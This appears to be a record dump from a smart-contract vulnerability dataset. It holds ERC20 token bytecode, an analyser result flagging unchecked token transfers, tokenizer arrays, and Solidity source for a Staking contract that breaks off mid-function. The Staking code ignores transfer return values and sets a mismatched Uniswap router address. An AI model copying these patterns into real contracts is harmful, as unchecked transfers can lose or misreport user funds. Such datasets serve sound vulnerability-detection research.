0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806342966c6811610097578063a9059cbb11610066578063a9059cbb146102c2578063d2cff346146102f2578063dd62ed3e14610322578063f2fde38b14610352576100f5565b806342966c681461021457806370a082311461024457806395d89b4114610274578063a457c2d714610292576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806340c10f19146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261036e565b60405161010f9190611802565b60405180910390f35b610132600480360381019061012d91906114e6565b610400565b60405161013f91906117e7565b60405180910390f35b61015061041e565b60405161015d9190611984565b60405180910390f35b610180600480360381019061017b9190611493565b610428565b60405161018d91906117e7565b60405180910390f35b61019e610520565b6040516101ab919061199f565b60405180910390f35b6101ce60048036038101906101c991906114e6565b610529565b6040516101db91906117e7565b60405180910390f35b6101fe60048036038101906101f991906114e6565b6105d5565b60405161020b91906117e7565b60405180910390f35b61022e60048036038101906102299190611553565b610682565b60405161023b91906117e7565b60405180910390f35b61025e60048036038101906102599190611426565b610750565b60405161026b9190611984565b60405180910390f35b61027c610798565b6040516102899190611802565b60405180910390f35b6102ac60048036038101906102a791906114e6565b61082a565b6040516102b991906117e7565b60405180910390f35b6102dc60048036038101906102d791906114e6565b610915565b6040516102e991906117e7565b60405180910390f35b61030c60048036038101906103079190611453565b610933565b60405161031991906117e7565b60405180910390f35b61033c60048036038101906103379190611453565b610b2b565b6040516103499190611984565b60405180910390f35b61036c60048036038101906103679190611426565b610bb2565b005b60606003805461037d90611ae8565b80601f01602080910402602001604051908101604052809291908181526020018280546103a990611ae8565b80156103f65780601f106103cb576101008083540402835291602001916103f6565b820191906000526020600020905b8154815290600101906020018083116103d957829003601f168201915b5050505050905090565b600061041461040d610cfd565b8484610d05565b6001905092915050565b6000600254905090565b6000610435848484610ed0565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610480610cfd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f7906118a4565b60405180910390fd5b6105148561050c610cfd565b858403610d05565b60019150509392505050565b60006012905090565b60006105cb610536610cfd565b848460016000610544610cfd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c691906119d6565b610d05565b6001905092915050565b60006105df610cfd565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610665906118c4565b60405180910390fd5b61067883836110cb565b6001905092915050565b600061068c610cfd565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610712906118c4565b60405180910390fd5b610747600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611213565b60019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546107a790611ae8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d390611ae8565b80156108205780601f106107f557610100808354040283529160200191610820565b820191906000526020600020905b81548152906001019060200180831161080357829003601f168201915b5050505050905090565b60008060016000610839610cfd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ed90611944565b60405180910390fd5b61090a610901610cfd565b85858403610d05565b600191505092915050565b6000610929610922610cfd565b8484610ed0565b6001905092915050565b600061093d610cfd565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c3906118c4565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a0557600080fd5b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb848373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a6091906117a3565b60206040518083038186803b158015610a7857600080fd5b505afa158015610a8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab09190611580565b6040518363ffffffff1660e01b8152600401610acd9291906117be565b602060405180830381600087803b158015610ae757600080fd5b505af1158015610afb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1f9190611526565b50600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bba610cfd565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c40906118c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090611844565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c90611924565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90611864565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ec39190611984565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3790611904565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd90611884565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461105991906119d6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110bd9190611984565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561113b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113290611964565b60405180910390fd5b806002600082825461114d91906119d6565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a291906119d6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112079190611984565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127a906118e4565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611309576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130090611824565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546113609190611a2c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113c59190611984565b60405180910390a3505050565b6000813590506113e181611ea7565b92915050565b6000815190506113f681611ebe565b92915050565b60008135905061140b81611ed5565b92915050565b60008151905061142081611ed5565b92915050565b60006020828403121561143c5761143b611b78565b5b600061144a848285016113d2565b91505092915050565b6000806040838503121561146a57611469611b78565b5b6000611478858286016113d2565b9250506020611489858286016113d2565b9150509250929050565b6000806000606084860312156114ac576114ab611b78565b5b60006114ba868287016113d2565b93505060206114cb868287016113d2565b92505060406114dc868287016113fc565b9150509250925092565b600080604083850312156114fd576114fc611b78565b5b600061150b858286016113d2565b925050602061151c858286016113fc565b9150509250929050565b60006020828403121561153c5761153b611b78565b5b600061154a848285016113e7565b91505092915050565b60006020828403121561156957611568611b78565b5b6000611577848285016113fc565b91505092915050565b60006020828403121561159657611595611b78565b5b60006115a484828501611411565b91505092915050565b6115b681611a60565b82525050565b6115c581611a72565b82525050565b60006115d6826119ba565b6115e081856119c5565b93506115f0818560208601611ab5565b6115f981611b7d565b840191505092915050565b60006116116022836119c5565b915061161c82611b8e565b604082019050919050565b60006116346026836119c5565b915061163f82611bdd565b604082019050919050565b60006116576022836119c5565b915061166282611c2c565b604082019050919050565b600061167a6026836119c5565b915061168582611c7b565b604082019050919050565b600061169d6028836119c5565b91506116a882611cca565b604082019050919050565b60006116c06020836119c5565b91506116cb82611d19565b602082019050919050565b60006116e36021836119c5565b91506116ee82611d42565b604082019050919050565b60006117066025836119c5565b915061171182611d91565b604082019050919050565b60006117296024836119c5565b915061173482611de0565b604082019050919050565b600061174c6025836119c5565b915061175782611e2f565b604082019050919050565b600061176f601f836119c5565b915061177a82611e7e565b602082019050919050565b61178e81611a9e565b82525050565b61179d81611aa8565b82525050565b60006020820190506117b860008301846115ad565b92915050565b60006040820190506117d360008301856115ad565b6117e06020830184611785565b9392505050565b60006020820190506117fc60008301846115bc565b92915050565b6000602082019050818103600083015261181c81846115cb565b905092915050565b6000602082019050818103600083015261183d81611604565b9050919050565b6000602082019050818103600083015261185d81611627565b9050919050565b6000602082019050818103600083015261187d8161164a565b9050919050565b6000602082019050818103600083015261189d8161166d565b9050919050565b600060208201905081810360008301526118bd81611690565b9050919050565b600060208201905081810360008301526118dd816116b3565b9050919050565b600060208201905081810360008301526118fd816116d6565b9050919050565b6000602082019050818103600083015261191d816116f9565b9050919050565b6000602082019050818103600083015261193d8161171c565b9050919050565b6000602082019050818103600083015261195d8161173f565b9050919050565b6000602082019050818103600083015261197d81611762565b9050919050565b60006020820190506119996000830184611785565b92915050565b60006020820190506119b46000830184611794565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119e182611a9e565b91506119ec83611a9e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a2157611a20611b1a565b5b828201905092915050565b6000611a3782611a9e565b9150611a4283611a9e565b925082821015611a5557611a54611b1a565b5b828203905092915050565b6000611a6b82611a7e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ad3578082015181840152602081019050611ab8565b83811115611ae2576000848401525b50505050565b60006002820490506001821680611b0057607f821691505b60208210811415611b1457611b13611b49565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611eb081611a60565b8114611ebb57600080fd5b50565b611ec781611a72565b8114611ed257600080fd5b50565b611ede81611a9e565b8114611ee957600080fd5b5056fea26469706673582212201b79fe6f5d156b2abe20caa7d77fcb0556c5ae5208a126065ef72b0600dc3d3e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 3676, 21619, 2549, 2050, 2620, 22367, 4402, 4783, 2050, 2692, 29097, 2278, 2620, 6305, 2278, 2683, 22407, 28756, 2546, 2620, 23777, 2094, 2683, 10790, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 11368, 8447, 2696, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 7375, 1997, 1996, 1063, 29464, 11890, 11387, 1065, 8278, 1012, 1008, 1008, 2023, 7375, 2003, 12943, 28199, 2000, 1996, 2126, 19204, 2015, 2024, 2580, 1012, 2023, 2965, 1008, 2008, 1037, 4425, 7337, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,344
0x969bf54ac7a15a8f54b7ff0ed999cad3f3e82b12
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () { } function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } //ownerable contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Staking is Ownable{ using SafeMath for uint256; event Withdraw(address a,uint256 amount); event Stake(address a,uint256 amount,uint256 unlocktime); struct staker{ uint256 amount; uint256 lockedtime; uint256 rate; } mapping (address => staker) public _stakers; IERC20 private _token; //staking steps uint256[] private times; uint256[] private rates; //locked balance in contract uint256 public lockedBalance; //buyforstaking IUniswapV2Router02 _uniswapV2Router; IERC20 public usdt = IERC20 (0xdAC17F958D2ee523a2206206994597C13D831ec7); constructor(address token_){ _token = IERC20(token_); times.push(2592000); times.push(7776000); times.push(15552000); times.push(31104000); rates.push(1); rates.push(3); rates.push(10); rates.push(20); _uniswapV2Router = IUniswapV2Router02(0xE592427A0AEce92De3Edee1F18E0157C05861564); } function stake(uint256 amount,uint256 stakestep) external { require(_stakers[msg.sender].amount==0,"already stake exist"); require(amount!=0 ,"amount must not 0"); require(times[stakestep]!=0,"lockedtime must not 0"); _token.transferFrom(msg.sender,address(this),amount); uint256 lockBalance=amount.mul(rates[stakestep].add(100)).div(100); lockedBalance=lockedBalance.add(lockBalance); require(lockedBalance<_token.balanceOf(address(this)),"Stake : staking is full"); _stakers[msg.sender]= staker(lockBalance,block.timestamp.add(times[stakestep]),rates[stakestep]); emit Stake(msg.sender,lockBalance,block.timestamp.add(times[stakestep])); } function withdraw() external { require(_stakers[msg.sender].amount>0,"there is no staked amount"); require(_stakers[msg.sender].lockedtime<block.timestamp,"not ready to withdraw"); _token.transfer(msg.sender,_stakers[msg.sender].amount); _stakers[msg.sender]=staker(0,0,0); } function getlocktime(address a)external view returns (uint256){ if(block.timestamp>_stakers[a].lockedtime) return 0; return _stakers[a].lockedtime.sub(block.timestamp); } function getamount(address a)external view returns(uint256){ return _stakers[a].amount; } function getTotoalAmount() external view returns(uint256){ return _token.balanceOf(address(this)); } //for Owner function withdrawOwner(uint256 amount) external onlyOwner{ require(amount<_token.balanceOf(address(this)).sub(lockedBalance)); _token.transfer(_msgSender(),amount); } function withdrawOwnerETH(uint256 amount) external payable onlyOwner{ require(address(this).balance>amount); _msgSender().transfer(amount); } function tokenPriceIn(uint256 amountout) public view returns(uint256){ address[] memory path = new address[](2); path[0]=(_uniswapV2Router.WETH()); path[1]=(address(_token)); uint256 